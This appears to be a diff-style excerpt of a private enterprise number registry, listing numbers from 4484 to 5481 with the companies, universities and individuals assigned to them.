+4484 Pacific Softworks, Inc.
+4485 Dataport Communications
+4486 Verio Web Hosting
+4487 Johnson & Johnson NCS
+4488 MediaHouse Software Inc
+4489 Sierra Networks, Inc.
+4490 POLYGON Consultants in Informatics Ltd.
+4491 Cable Television Laboratories, Inc.
+4492 SolutionSoft Systems, Inc.
+4493 UniRel Sistemi srl Mauro
+4494 Novartis AG
+4495 Taima Corp.
+4496 Siemens Canada Ltd.
+4497 Avail Networks, Inc.
+4498 NetQoS, Inc.
+4499 Safefunds.com
+4500 Jordan Tech
+4501 EforNet Corporation
+4502 playbeing.org
+4503 Corporate Information Technologies
+4504 Seamless Kludge Internetworking Labs Ltd
+4505 Caltex Australia Petroleum Pty Ltd
+4506 Channels Measurement Services
+4507 The Miami Herald
+4508 Geeks Like Us
+4509 Nakayo Telecommunications, Inc.
+4510 Dracom
+4511 Concord-Eracom Computer Security GmbH
+4512 Sofreavia
+4513 Terawave Communications, Inc.
+4514 Bank America
+4515 PacketLight Networks Ltd.
+4516 SIAS
+4517 Helius, Inc.
+4518 KMZ Consulting Group, Inc.
+4519 VERO Electronics Ltd.
+4520 Joohong Information and Communications
+4521 Global ADSI Soltuions, Inc.
+4522 Ontario Power Generation
+4523 eXaLink Ltd.
+4524 StorageSoft, Inc.
+4525 Micron Technology, Inc.
+4526 Netgear
+4527 zeitgeist y2k01 Ltd.
+4528 8x8 Incorporated
+4529 Internet Service Dept, WorldTelecom Plc
+4530 Tunbridge Wells Equitable Friendly Society Ltd
+4531 ON Technology Corporation Robert Smokey Montgomery
+4532 GVCTW Corporation
+4533 Atcomm Corporation
+4534 onebox.com
+4535 Javelinx Corporation
+4536 Digitech
+4537 Planex Communications Inc.
+4538 Easybuy
+4539 RemarQ Communities, Inc.
+4540 Intelect Network Technologies Inc.
+4541 OutReach Technologies, Inc.
+4542 Alerting Specifications Forum
+4543 Digitellum, Inc.
+4544 Gjensidige Forsikring
+4545 Atlantis Software Inc
+4546 AST Engineering Services, Inc.
+4547 ATTO Technology, Inc.
+4548 QuickStart Consulting Inc.
+4549 WebGear, Inc.
+4550 The Japan Electrical Manufacturers' Association
+4551 Empirix, Inc
+4552 Wayport, Inc.
+4553 NextCom K.K.
+4554 Trisol Technologies
+4555 Socomec Sicon Ups
+4556 Scali
+4557 Qwest
+4558 Euromove s.r.o.
+4559 NVision
+4560 Shebang Networking
+4561 OpenDOF Project, Inc. (formerly 'Panasonic Electric Works Laboratory of America, Inc./SLC Lab')
+4562 Centermark Engineering LC
+4563 Syllogi, Inc.
+4564 Diverse Networks, Inc.
+4566 Cedelbank
+4567 Cedel Global Services
+4568 Cedel International
+4569 Ensigma Ltd
+4570 NetEnterprise, Inc.
+4571 JMCS, Inc.
+4572 Daedalus Corporation
+4573 SecureSoft Inc.
+4574 Compu-Alvarado
+4575 MANi Network Co., Ltd.
+4576 Corporacion ZIGOR S.A.
+4577 Internet Research
+4578 SSE Telecom
+4579 Vest Internett
+4580 Diversified Business Group
+4581 Seeburger GmbH
+4582 World Telecom plc
+4583 NetStar
+4584 Headhunters London Limited
+4585 Eel Valley Internet
+4586 Enterprise Consulting Group
+4587 Diamond Multimedia Systems, Inc.
+4588 Critical Path, Inc.
+4589 DATAP Division of TCEnet Inc.
+4590 Zoom Telephonics, Inc.
+4591 SpaceCom Systems, Inc.
+4592 Frontier Communications
+4593 SAET I.S. S.p.A.
+4594 Saritel S.p.A.
+4595 IS Production
+4596 Videoframe Systems
+4597 Fiberview Technologies Inc.
+4598 JCampus
+4599 MIMSOFT
+4601 Cybertime Informatik GmbH
+4602 BEA Systems
+4603 TERS Ltd.
+4604 Beca Carter Hollings & Ferner Ltd Mike Beamish
+4605 Toronto School of Business
+4606 Information Security Agency Ltd.
+4607 Software Shelf Technologies
+4608 Harco Technology Ltd
+4609 Seamless Technologies, Inc.
+4610 Strategic Technologies
+4611 Digital Wireless Corporation
+4612 Baker Street Technologies Inc.
+4613 Sphere Communications Inc
+4614 Luminous Networks, Inc
+4615 I-O Data Device, Inc.
+4616 ComputerJobs.com
+4617 MARCOMPUTER
+4618 ARMILLAIRE TECHNOLOGIES
+4619 e!reminder.com
+4620 Progressive Systems, Inc.
+4621 NSTOP Technologies Inc.
+4622 Legian Consultancy & Network Services
+4623 Lifix Systems Oy
+4624 Training for Tomorrow
+4625 Mazone Systems
+4626 WestLB
+4627 SAET IS s.r.l.
+4628 Xtra On-Line
+4629 Veraz Networks Inc. (formerly 'ipVerse')
+4630 FileTek, Inc.
+4631 homeloandotcom
+4632 FreeMarkets
+4633 CQOS, Inc.
+4634 VCON Telecommunications Ltd.
+4635 The VE Group
+4636 Intrust Software
+4637 RGE, Inc.
+4638 SGI Soluciones Globales Internet
+4639 TETRAGONE S.A.
+4640 Eckerd College
+4641 Tellabs Inc (ADP)
+4642 Bel. Studio H. Sager
+4643 nworks
+4644 Wincom Technology Inc.
+4645 Data Ductus AB
+4646 NetConvergence, Inc.
+4647 Internet Chess Club
+4648 The Grateful Net
+4649 CPlane, Inc.
+4650 Marc August International
+4651 Aztec Radiomedia
+4652 Technical University of Ilmenau
+4653 Precise Software Technologies Inc.
+4654 OCLC Online Computer Library Center, Inc.
+4655 TeleCheck International Inc.
+4656 Banco de Galicia y Buenos Aires
+4657 Goodall Secure Services
+4658 Entertainment International, Inc.
+4659 Teco Image Systems Co., Ltd.
+4660 RCMS Ltd
+4661 Spazio R&D
+4662 Frank Matthiess
+4663 decor metall GmbH + CO. KG
+4664 Ark Research Corporation
+4665 Performance Design Limited
+4666 Itchigo Communications GmbH
+4667 Telperion Network Systems
+4668 Turning Point Technologies
+4669 Muro Enterprises, Inc.
+4670 National Computational Science Alliance
+4671 Advanced Telecom Systems, Inc.
+4672 US Healthcare PKI
+4673 Wave Research N.V.
+4674 Crunch Technologies BV
+4675 WK Audiosystems BV
+4676 Healthaxis.com Inc.
+4677 Concert Technologies
+4678 Information Developers Unlimited
+4679 OPICOM
+4680 Telecommunications Systems Group - UCL
+4681 dvg Hannover Datenverarbeitungsgesellschaft mbH
+4682 Linux-HA Project
+4683 Trading Technologies International, Inc.
+4684 Ambit Microsystems Corporation
+4685 TONTRU Information Industry Group Co. Ltd.
+4686 VegaStream
+4687 Digitro Tecnologia Ltda
+4688 Luimes Computer Consulting
+4689 Urbis.Net Ltd
+4690 MBC Europe, B.V.
+4691 VAW Aluminum Technologie GmbH
+4692 Digital Technics, LP
+4693 Maxtor Corp.,
+4694 Willamette University
+4695 Extricity Software
+4696 WEBB Studios
+4697 ATLANTEL
+4698 Connectivity Software Systems
+4699 Burning Door
+4700 InternetPirate.com
+4701 Syskoplan GmbH
+4702 SpeechWorks International, Inc.
+4703 Sanford C. Bernstein & Co. Inc.
+4704 Visual Media Technologies, Inc.
+4705 Gabriel Communications
+4706 Zero7.com
+4707 Aldea Internet, S.A. de C.V. Javier
+4708 iMedium Inc
+4709 Oxydian S.A.
+4710 Safelayer S.A.
+4711 Mail.com
+4712 Entropic Ltd
+4713 WhereNet, Inc.
+4714 Centerpoint Broadband Technologies
+4715 Advice Netbusiness Ltda
+4716 Arbortext
+4717 Media Management Consulting
+4718 MDL Information Systems
+4719 Montagnaleader s.c.a.r.l.
+4720 Lunatech Research
+4721 Cositel Inc.
+4722 Jacksonville University
+4723 Mockingbird Networks
+4724 TechnoSoft
+4725 Bestnet Internet Inc
+4726 Capital Computer Services, Inc.
+4727 Langtang JV Company
+4728 NSI Technology
+4729 Crannog Software
+4730 epita
+4731 Socketware, Inc.
+4732 CVF
+4733 Middlesex University
+4734 Zarak Systems Corporation
+4735 SOMA Networks, Inc.
+4736 Appliant, Inc.
+4737 Crosswalk.com, Inc.
+4738 Shanghai E-way Computer Network Technology Ltd.
+4739 OLDE Discount Corporation
+4740 VoteHere
+4741 Amber Networks, Inc
+4742 Operational Technologies Services, Inc.
+4743 NextNet
+4744 Internalnetwork
+4745 DigiSAFE Pte Ltd
+4746 PT Inovacao
+4747 Service Technique de la Navigation Aerienne
+4748 DoBiT nv
+4749 e-Plaza
+4750 Lykon Consulting
+4751 SARL K1
+4752 Crescent Networks
+4753 MontaVista Software, Inc.
+4754 Symas Corp.
+4755 Directory Works
+4756 CTC Union Technologies Co., Ltd.
+4757 IBS
+4758 AnIX Group Ltd
+4759 Peco II, Inc.
+4760 Viditec, Inc.
+4761 NuDesign Technologies Inc.
+4762 GRIC Communication Inc
+4763 Teddybear Computer Services
+4764 Global Crossing
+4765 Tomorrow Factory
+4766 Hochschule Heilbronn
+4767 TrafficMaster PLC
+4768 E.ON SE (formerly 'E.ON AG')
+4769 IBM Corporation
+4770 Ol'e Communications, Inc.
+4771 Narus Inc
+4772 CyberSource Corporation
+4773 RealNames Corporation
+4774 Netpliance.net
+4775 Network ICE
+4776 Knight Fisk Ltd
+4777 Cuperus Consultants
+4778 Biscom, Inc.
+4779 Bay Technical Associates
+4780 VADEM
+4781 E.piphany, Inc.
+4782 3Cube, Inc.
+4783 CrosStor Software
+4784 March Networks
+4785 Appian Communications, Inc.
+4786 Sierra PartnersStephen Ells
+4787 Shanghai Holdfast Online Information
+4788 D-Trust GmbH
+4789 Telica, Inc.
+4790 SecureLogix Corporation
+4791 Dresdner Bank AG
+4792 Wavefront
+4793 Levi, Ray & Shoup, Inc.
+4794 eCoin, Inc.
+4795 Unified Productions, Inc.
+4796 Joe Chapa
+4797 City Group Inc.
+4798 Vigil Technologies Ltd.
+4799 Leaselogix, Inc.
+4800 Jensley Pty Ltd
+4801 Compass Corporate Systems, Inc.
+4802 Systematic Software Engineering A/S
+4803 POWWOW
+4804 Castello Cities Internet Network
+4805 INOVA Corporation
+4806 Rosslea Associates LLC
+4807 Control Z Corporation
+4808 Net-star Technology Corporation
+4809 BSW Telecoms
+4810 Bloemenveiling Holland
+4811 Network Flight Recorder, Inc.
+4812 shanghai radio communication equipment manufacture company(srcem)
+4813 GlenEvin
+4814 Alex Temex Multimedia S.A.
+4815 H.B. Fuller Company
+4816 Pacific Gas & Electric Company
+4817 Innovative Technologies & Consulting, Inc.
+4818 Sinclair Internetworking Services
+4819 RMS Technology Integration, Inc.
+4820 Quicknet Technologies, Inc.
+4821 SN2AI
+4822 Fial Computer Inc.
+4823 Shanghai HuaLong Information Technology Development Center
+4824 DSL Communications
+4825 Golden Screens Interactive Technologies, Inc.
+4826 The European Clearing House
+4827 Interoute Telecommunications Inc
+4828 Intelidata Technologies Corp.
+4829 A to Z Pest Control
+4830 Gloabl Media Corp.
+4831 BANCHILE
+4832 Network Phenomena, LLC.
+4833 SDNI Inc.
+4834 Factum Electronics AB
+4835 OPNET Technologies Co., Ltd.
+4836 LHS Telekom GmbH & Co. KG
+4837 trrrippleRRRdesigns
+4838 New Image Company
+4839 2Wire, Inc.
+4840 Bedet Information Technologies
+4841 iFace.com
+4842 SecureAgent
+4843 Amazon.com Inc.
+4844 NeoPoint, Inc.
+4845 Miralink Corp
+4846 Lucent INS
+4847 Vikram Kulkarni
+4848 Interphiz Ltd
+4849 Dipl. Phys. Peer Stritzinger GmbH
+4850 Eddie George Limited
+4851 KRONE Telecell GmbH
+4852 CMA Small Systems AB
+4853 Syndeo Corporation
+4854 Mk1 Design
+4855 AddPac Technology Co., Ltd.
+4856 Veraluz International Corporation
+4857 Cisco's Etc.
+4858 Fortech
+4859 GEMS
+4860 boo.com Group LTD
+4861 PowerCom Technologies Inc Katta Veeraiah
+4862 Redwood Marketing
+4863 Gothaer Versicherungsbank VVaG
+4864 JOH-DATA A/S
+4865 ERG Group
+4866 Moseley Associate Inc.
+4867 Viet Marketing
+4868 Nextra (Schweiz) AG
+4869 SIT Europe
+4870 Fritz Egger GmbH & Co
+4871 DiscoveryCom
+4872 Bouygues Telecom
+4873 Seay Systems, Inc.
+4874 Juniper Networks/Unisphere
+4875 DoubleClick Inc.
+4876 Eyestreet Software
+4877 Salon Press
+4878 Village Networks, Inc.
+4879 SecureMethods, Inc.
+4880 Standard & Poors Compustat
+4881 Ruijie Networks Co., Ltd. (formerly 'Start Network Technology Co., Ltd.')
+4882 Root, Inc.
+4883 Saatch & Saatchi
+4884 Protek Ltd
+4885 Photon Technology Co., Ltd.
+4886 Westwave Communications
+4887 IQ Wireless GmbH
+4888 Multidata GmbH
+4889 Inflow
+4890 Skinners Computer Center
+4891 Network Address Solutions
+4892 The Chinese University of Hong Kong
+4893 ATSHAW Technologies
+4894 Kleinwort Benson Ltd.
+4895 Woodwind Communications Systems Inc.
+4896 TeleSoft International, Inc.
+4897 DoBusinessOnline Services
+4898 Time Inc.
+4899 Walker Systems Corporation
+4900 Conexant Systems
+4901 USAA
+4902 Beijing Huaguang Electronics Co., Ltd.
+4903 GCC Technologies Inc.
+4904 SDF
+4905 WebDialogs, Inc
+4906 Edgix Corporation
+4907 AppWorx Corporation
+4908 ATS, Advanced Technology Solutions S.A.
+4909 Experts Exchange
+4910 Ubizen
+4911 pcOrder.com, Inc.
+4912 HolisticMeta, LLC (formerly 'One World Information System')
+4914 hole-in-the.net
+4915 Sipher Internet Technology Ltd.+44 1494 765335
+4916 Blacksound SA
+4917 Sociedad Estatal de Loterias y Apuestas de Estado
+4918 Taurusent Technologies
+4919 Luminate Software Corporation
+4920 Boston Globe
+4921 Network Solutions
+4922 Telcordia Technologies, Inc.
+4923 AudioCodes
+4924 SAN Valley Systems, Inc.
+4925 Zuma Networks
+4926 TouchTunes Digital Jukebox
+4927 time4you GmbH
+4928 Xrosstech, Inc.
+4929 LAN Crypto
+4930 Concord Technologies
+4931 Standard & Poor's Corp.
+4932 Foglight Software
+4933 Shunra Software Ltd.
+4934 WebDialogs, Inc
+4935 Mediatrix Telecom Inc.
+4936 First American Financial Corporation John
+4937 Stormbreaker Network Services
+4938 Daeyoung Electronic Ind.CO., Ltd.
+4939 Procter & Gamble
+4940 Converg Media
+4941 Echelon Corporation
+4942 Liberty Press & Letter Service Joseph De Silvis
+4943 Novell GmbH
+4944 Future Networks, Inc.
+4945 Logicon, Inc.
+4946 Psychedelic Illuminations Magazine
+4947 Grass Valley USA, LLC
+4948 Migros
+4949 Fortress Technologies
+4950 Luxor Software Inc.
+4951 State Farm Insurance
+4952 Thinking Objects GmbH
+4953 Tecnet Teleinformatica Ltda.
+4954 Wrox Press Itd
+4955 Asgard Technologies, Inc
+4956 GRAPHICS FIVE
+4957 CNet Computer Systeme Netzwerk GmbH
+4958 TerraLink Technologies, LLC
+4959 U Force, Inc.
+4960 Chromisys
+4961 Ardent Technologies
+4962 Artel Video Systems, Inc.
+4963 @manage
+4964 W.B. Love Enterprises Inc.
+4965 Greenwich Mean Time
+4966 AACom
+4967 Starwood Hotels & Resorts
+4968 Universtiy of North Texas (unofficial)
+4969 Park Air Systems Ltd.
+4970 National Grid for Learning
+4971 Anglers Club
+4972 Los Alamos National LaboratoryGiri
+4973 SetNet Corporation
+4974 eATM
+4975 INTERVU Inc.
+4976 AGENT++
+4977 Tiesse S.p.A
+4978 Direkcija RS za poslovno informacijsko sredisce
+4979 Licer Solutions
+4980 Oxymium
+4981 RiverDelta Networks
+4982 Persistence Software Inc.
+4983 InnoMediaLogic Inc.
+4984 Pinnacle Systems
+4985 Vigilant Networks
+4986 KB/Tel
+4987 Simpler Networks Inc.
+4988 Ronningen Consulting
+4989 Connect Austria GmbH
+4990 TTI Telecom
+4991 Stonebridge Technologies, Inc.S.E.
+4992 Thyssen Krupp Information Systems GmbHHaynes
+4993 CTU Prague
+4994 CUT-THROAT TRAVEL OUTLET
+4995 Universtiy of California, Berkeley
+4996 Forest Networks LLC
+4997 Inetd.Com Consulting
+4998 Cadant Inc.
+5000 Personal Business
+5001 LogicMedia
+5002 RC Networks
+5003 AudioCodes LTD
+5004 Predictive Networks
+5005 NCvision
+5006 Vishwnet India
+5007 Effective Computer Solutions, Inc.
+5008 drugstore.com
+5009 Schiano
+5010 Splash Technology, Inc.
+5011 Scaldis
+5012 Lottomatica spa
+5013 Maverick Internet Technology
+5014 Viacast
+5015 Verbind, Inc.
+5016 Oregon State University
+5017 University of Akron
+5018 Ameritrade Technology Group
+5019 eBusiness Interactive
+5020 sekwang eng. co.
+5021 Television Internacional S.A. de C.V.
+5022 Equipe Communications Corporation
+5023 Bit by Bit Solutions, Inc.
+5024 3Domes, Inc.
+5025 OPUS 2 Revenue Technologies
+5026 Aspiro AB
+5027 Orebro Kommun
+5028 Lightbridge
+5029 Comma Soft AG
+5030 University of Ulm
+5031 Recovery
+5032 Norscan Instruments Ltd
+5033 eCharge Corporation
+5034 LogicalSolutions.net
+5035 Inter-National Research Institute
+5036 Input Software
+5037 Bri-link Technologies Inc.
+5038 T&S Software Associates Inc.
+5039 Xstreamis plc
+5040 Wiesemann & Theis GmbH
+5041 Menicx International Co. Ltd.
+5042 Broadwing Inc.
+5043 Micro Focus International Ltd
+5044 Velocity Software Systems Ltd.
+5045 Bithop Systems, Inc.
+5046 CS SI
+5047 Kimley-Horn and Associates
+5048 Kudale Inc.
+5049 Equifax Inc.
+5050 Nordmark NorLan Consult
+5051 Brix Networks
+5052 Intermine Pty Ltd
+5053 Agilent Technologies
+5054 will
+5055 Eolring
+5056 Frank Lima
+5057 Gifford Hesketh
+5058 Avistar Systems
+5059 Carmona Engineering Services
+5060 Singapore Press Holdings Ltd
+5061 Swisskey Ltd
+5062 DFN Directory Services
+5063 Telesta
+5064 Deutsche Post AG
+5065 PrivateExpress.com
+5066 NetVision, Inc.
+5067 Open Society Fund - BH
+5068 Jewsih Community of Bosnia and Herzegovina
+5069 Call Connect
+5070 Ganna Construction, Inc.
+5071 HIQ Networks
+5072 Ditech Communications Corporation
+5073 knOwhere, Inc.
+5074 Miva Corporation
+5075 CNL CentralNet GmbH
+5076 LongView International, Inc.
+5077 Clicknet Software
+5078 Media Vision Computer Technologies
+5079 Crosskeys Systems Corporation
+5080 Power Systems
+5081 Empowerment Group, Inc
+5082 More Magic Software MMS Oy
+5083 Daktronics
+5084 SierraCom
+5085 SmartMove
+5086 ICS Advent
+5087 Great Dragon Telecom(Group)
+5088 Digital Burro, INC
+5089 Clavister AB
+5090 Carumba
+5091 Norske Troll AS
+5092 INFORMATIONSTECHNOLOGIE AUSTRIA GES. M.B.H.
+5093 SDF Enterprise
+5094 The University of Tulsa
+5095 Credit Suisse Group
+5096 Computer Science and Engineering, CUHK
+5097 Rock Marketing
+5098 OPUSWAVE Networks, Inc.
+5100 Tricast Multimedia
+5101 Novalabs
+5102 Integro A.C.S.
+5103 Foxcom Ltd.
+5104 SarangNet
+5105 Datang Telecom Technology CO., LTD
+5106 elephant project
+5107 Pinkl Consulting Services
+5108 Modius Inc.
+5109 CHINA GREAT DRAGON TELECOMMUNICATION(GROUP) CO., LTD
+5110 Health Business Systems, Inc.
+5111 Medea Corporation
+5112 Corvia Networks, Inc.
+5113 gridware
+5114 Future fibre Technologies
+5115 PowerCom Technology Co., Ltd.
+5116 IBM, NUMA-Q Division
+5117 Kaelin Colclasure
+5118 Dantel,Inc.
+5119 SYCOR GmbH
+5120 EMF Home Inspection Inc.
+5121 League Scoring
+5122 Everest eCommerce, Inc.
+5123 Lucent Tech. Taiwan Telco.
+5124 Phonetic Systems Ltd.
+5125 Celestica Power
+5126 Symtrex Inc.
+5127 Western Digital Corporation
+5128 Saitama University Far Laboratory
+5129 Macquarie University
+5130 Omron Canada Inc.
+5131 lotz.de
+5132 Mammut Net
+5133 Halfdome Systems, Inc.
+5134 IP Unity
+5135 CyberSafe Corporation
+5136 Gruner + Jahr AG & Co KG (formerly 'Electronic Media Service')
+5137 DFC, Inc.
+5138 Easynet Group Plc
+5139 ARESCOM, Inc.
+5140 Compudisk Systems Ltd.
+5141 Hart Edwards Corporation, Inc.
+5142 IVANS
+5143 Cereva Networks Inc.
+5145 ICT electronics SA
+5146 Eclipsys Corporation
+5147 MICEX
+5148 cTc Computer Technik Czakay GmbH
+5149 Managed Object Solutions, Inc.
+5150 Opsware
+5151 NetGain, LLC
+5152 Cable AML, Inc.
+5153 The University of Akron
+5154 Incyte Genomics
+5155 CS & S GH computer System Tech. Co., Ltd.
+5156 newproductshowroom.com
+5157 The University of Queensland
+5158 CompuTECH Services
+5159 Ultra d.o.o.
+5160 DAIN Telecom Co., Ltd
+5161 Morehead State University
+5162 Societe Europeenne des Satellites
+5163 Digital Marketplace, Inc.
+5164 Cygnet Technologies, Inc.
+5165 Sassafras Software Inc.
+5166 Mercom Systems, Inc.
+5167 Orchestream Ltd.
+5168 Levitte Programming
+5169 NET CONSULTING S.R.L.
+5170 Aegis Data Systems, Inc.
+5171 WhizBang! Labs
+5172 Protocom Development Systems
+5173 Sonus Networks, Inc.
+5174 PrivateExpress .com
+5175 Lindsay Electronics
+5176 2Win Information Systems, Inc.
+5177 Private Express Technologies Pte, Ltd.
+5178 Telephony Experts, Inc.
+5179 Arima Computer Corp.
+5180 The DocSpace Company Inc.
+5181 Firat Universites
+5182 I Theta Corp.
+5183 ---none---
+5184 C&N Touristic AG
+5185 Sungmi Telecom Electronics Co., Ltd.
+5186 ---none---
+5187 Bytware, Inc.
+5188 BITHOP SYSTEMS, Inc.
+5189 TELEFONICA I+D
+5190 Organic
+5191 DEKRA AG
+5192 Gotham Networks
+5193 Chemical Abstracts Service
+5194 Okanagan Spring Brewery
+5195 AdRem Software
+5196 E-Tech, Inc.
+5197 Startup .com
+5198 "Universita`" degli Studi di Roma "Tor Vergata"
+5199 Odetics ITS
+5200 EnFlex Corp.
+5202 Aalto University (formerly 'Helsinki University of Technology')
+5203 The Naqvi Group
+5204 ClickNet Software Corporation
+5205 Ruby Tech Corp.
+5206 Voltaire
+5207 USA-NET CORPORATIONS
+5208 UPMACS Communications Inc.
+5209 Profound Rational Organization(PRO), Internatioal
+5210 Linkline/Freegates
+5211 NCvision Ltd.
+5212 Placeware, Inc.
+5213 Greylink, Inc.
+5214 Athens Chamber
+5215 United Connections
+5216 Senior Informatica Ltda.
+5217 SOFHA GmbH
+5218 Networks Experts, Inc.
+5219 BeVocal Inc.
+5220 World Telecom Labs
+5221 Wireless Systems International
+5222 Dantel Inc.
+5223 Korea Electronics Technology Institute
+5224 Hitachi Data Systems (Europe) Ltd.
+5225 Universidad de Cantabria- ATC
+5226 Harmonix Limited
+5227 MELCO Inc.
+5228 Littlefeet Inc.
+5229 Big Fish Communications
+5230 ComRoesGroup
+5231 Oswego State University
+5232 Counterpane Internet Security
+5233 Mercury Interactive Corp.
+5234 Shenzhen SED Info. Tech. Corp.
+5235 Persistent Systems Private Limited
+5236 Great Dragon Telecom(Group)
+5237 Trustis Limited
+5238 SOcieta GEnerale di Informatica (SOGEI SPA)
+5239 FESTE
+5240 RAND
+5241 TECHMATH AG
+5242 Envilogg AB
+5243 ICIS, School of EEE,Nayang Technological University
+5244 Casey's Baja Tours
+5245 Quarterstone Communications Inc.(QCI)
+5246 SS8 Networks Inc.
+5247 Zinnia Design
+5248 Michael Brehm
+5249 Warner-Lambert
+5250 Center7
+5251 Donald E. Bynum
+5252 CIS Technology
+5253 Aldebaran
+5254 Datang Telecom Technology CO., LTD
+5255 EuroPKI
+5256 Freeonline .com. au Pty Ltd
+5257 AXUS Microsystems Inc.
+5258 Zeta Technologies Co. Ltd
+5259 MATRA SYSTEMES & INFORMATION
+5260 Digital Engineering
+5261 LUTHER DANIEL
+5262 QWIKWIRE. NET
+5263 CAIS INTERNET
+5264 Varian Medical Systems
+5265 TeleDanmark Erhverv, CTIUdvikling
+5266 Johannes Gutenberg-Universitaet Mainz
+5267 Hong Kong University of Science and Technology
+5268 IKEA IT CENTER AB
+5269 The Fantastic Corporation
+5270 da6d Technologies
+5271 Comverse Network Systems
+5272 w-Trade Technologies
+5273 Unistra Technologies
+5274 UNIF/X
+5275 Malibu Networks
+5276 Hearme.com
+5277 SarangNET
+5278 Swisscom. AG
+5279 2Support Directory Solutions
+5280 Citi
+5281 Graeffet Communications
+5282 Connected Systems
+5283 CheckFree Corporation
+5284 Filanet Corporation
+5285 Network Experts, Inc.
+5286 CALENCE, Inc.
+5287 Persistent Systems Private Limited
+5288 A-Plus Networks, Inc.
+5289 VidyaWeb. com, Inc.
+5290 Guide
+5291 Bloemenveiling Aalsmeer
+5292 Pirus Networks
+5293 HYOSUNG CORPORATION
+5294 Infinity Trade Inc
+5295 "DigitalThink Inc."
+5296 IPCell Technologies, Inc.
+5297 Baxworks, Inc.
+5298 xputer.com
+5299 WorldCast Systems (formerly 'AUDEMAT")
+5300 Jetstream Communications
+5301 PentaSafe, Inc.
+5302 Advanced Health Technologies
+5303 IPmobile Inc.
+5304 Airslide Systems Inc.
+5305 IIT KANPUR
+5306 XESystems, Inc.
+5307 Ciprico, Inc.
+5308 SiemensS.A.(Portugal)
+5309 EdelWeb SA
+5310 Depository Trust & Clearing Corporation
+5311 F&F Inc.
+5312 DIGICERT SDN
+5313 Revlis, Inc.
+5314 Baunwall A/S
+5315 CCIT(Beijing Creative Century Information Technology)Co. Ltd.
+5316 Guide Unusual
+5317 Adaptive Computer Development Corp.
+5318 Robert Bosch GmbH
+5319 EarthWatch Inc.
+5320 Surety Technologies Inc.
+5321 Burrito.org
+5322 PADL Software Pty Ltd
+5323 Telrad
+5324 Delta Networks Inc.
+5325 Cmgi
+5326 LightChip, Inc.
+5327 KIM Computing
+5328 North Communications Inc.
+5329 ShoreTel, Inc (formerly 'Shoreline Teleworks')
+5330 Spacelink Systems
+5331 OI ELECTRIC CO., Ltd.
+5332 Information Freeway
+5333 Celera Genomics
+5334 START
+5335 Multifunction Products Association
+5336 BlueKite.com
+5337 Ciprico, Inc.
+5338 ELDEC Corporation
+5339 VisioWave
+5340 CITI, S.A. de C.V.
+5341 PC Network Design
+5342 Sensormatic
+5343 Lone Wolf ComputingGeorge
+5344 Originative Solutions Ltd.
+5345 SUNGMI TELECOM ELECTRONICS CO., Ltd.
+5346 SSM Health Care
+5347 GE Harris Aviation Information Solutions, LLC
+5348 TimeSpace Radio AB
+5349 Inalp Networks Inc.
+5350 Infotron System Corp
+5351 ATM S.A.
+5352 Maelstrom
+5353 EVS Broadcast Equipment
+5354 Simplement Ltd
+5355 Eland Technologies
+5356 Object Oriented Pty Ltd.
+5357 Evans Computer Consulting
+5358 enhanced Global Convergence Services (eGCS)
+5359 InnoVentry
+5360 Haedong
+5361 Westbridge Design Ltd.
+5362 QASYS CORP
+5363 R. Smith Engineering Co.
+5364 Certall Finland OY
+5365 Neartek, Inc.
+5366 Charlotte's Web Networks Ltd.
+5367 Telena S.p.A.
+5368 CoreExpress
+5369 APD Communications Limited
+5370 BANCO ZARAGOZANO S.A.
+5371 NetSubject Canada, Inc.
+5372 myCFO, Inc.
+5373 Open Telecommunications Limited
+5374 Dirigo Incorporated
+5375 BAE SYSTEMS, Tactical Comms (Filton)
+5376 Oleane
+5377 TriNexus
+5378 PrairieFyre Software Inc.
+5379 Colonial State Bank
+5380 CDOT
+5381 SuperNova
+5382 IRIS Technologies, Inc.
+5383 iFleet Inc.
+5384 Tsuruki Promotions
+5385 City-NET CZ, s.r.o.
+5386 M-S Technology Consultants
+5387 HyperFeed
+5388 Network Alchemy Ltd.
+5389 Inter-Tel
+5390 OPNET Technologies Co., Ltd.
+5391 Tyco Submarine Systems Ltd.
+5392 "Online Creations", Inc.
+5393 Renault
+5394 Gateway Inc.
+5395 Laurel Networks, Inc.
+5396 BigChalk.com
+5397 Standard and Poor's Fund Services
+5398 ElephantX
+5399 Extremis
+5400 Evercom systems International Inc.
+5401 Master Soft
+5402 IDF
+5403 Vircom
+5404 eConvergence Pty Ltd.
+5405 Start Printer equipment co. Ltd.
+5406 Nick Conte, Inc.
+5407 NetSupport GmbH
+5408 Intellitel Communications
+5409 East West Consulting K.K.
+5410 Les Howard
+5411 SignalSoft Corporation
+5412 Zantaz.com, Inc.
+5413 PeopleWeb CommunicationsInc.
+5414 John & Associate
+5415 Fujitsu Asia Pte Ltd
+5416 Nesral
+5417 ABSA Group Ltd.
+5418 Fortis, Inc.
+5419 Cambridge Broadband Ltd.
+5420 Spider Technologies
+5421 Marietta Dodge Inc.
+5422 RHC Enterprises Inc.
+5423 McLeodUSA
+5424 Columbia Diversified Services
+5425 NetSpace Online Systems
+5426 GadLine Ltd.
+5427 stroeder.com
+5428 ENDFORCE, Inc.
+5429 Propack Data Soft- und Hardware Entwicklungs GmbH
+5430 Masterguard GmbH
+5431 LM Digital
+5432 SightPath
+5433 Netonomy
+5434 Advanced Hi-Tech Corporation
+5435 OvisLink Corp
+5436 OPEN
+5437 Pensar Corporation
+5438 Utrecht School of Arts
+5439 Parallel Ltd.
+5440 Primeon, Ltd.
+5441 The Timken Company
+5442 New Zealand Post Limited
+5443 Nekema.com
+5444 Joe Minineri
+5445 Metrostat Technologies, Inc.
+5446 Skygate Technology Ltd
+5447 Aeolon Research
+5448 Kykink Communications Corp
+5449 OneNetPlus.com
+5450 I-Link Inc.
+5451 SEGAINTERSETTLE AG
+5452 Business Layers
+5453 Intelis, Inc
+5454 Trango Networks, LLC
+5455 Artemis Management Systems
+5456 FOCUS Online GmbH
+5457 CastleNet Technology Inc.
+5458 Gupta
+5459 SANtools, Inc
+5460 BroadLink Communications, Inc.
+5461 KSI Inc
+5462 Resume.Com
+5463 Eduardo Fermin
+5464 Manukau Institute of Technology
+5465 eBusiness Technologies
+5466 International Biometric Society, IBS
+5467 TELEFONICA INVESTIGACION Y DESARROLLO
+5468 Actelis Networks
+5469 Codebase
+5470 Transparity Limited
+5471 Switzerland
+5472 timeproof
+5473 AlgaCom
+5474 Ericsson Ahead Communications Systems GmbH
+5475 Thysys Engineering
+5476 Apex Inc.
+5477 Netattach, Inc
+5478 Critical Path Berlin/LEM
+5479 Pinnacle Data Systems Inc (PDSi)
+5480 T. Sqware Incorporated
+5481 Agencia de Certificion Electronica
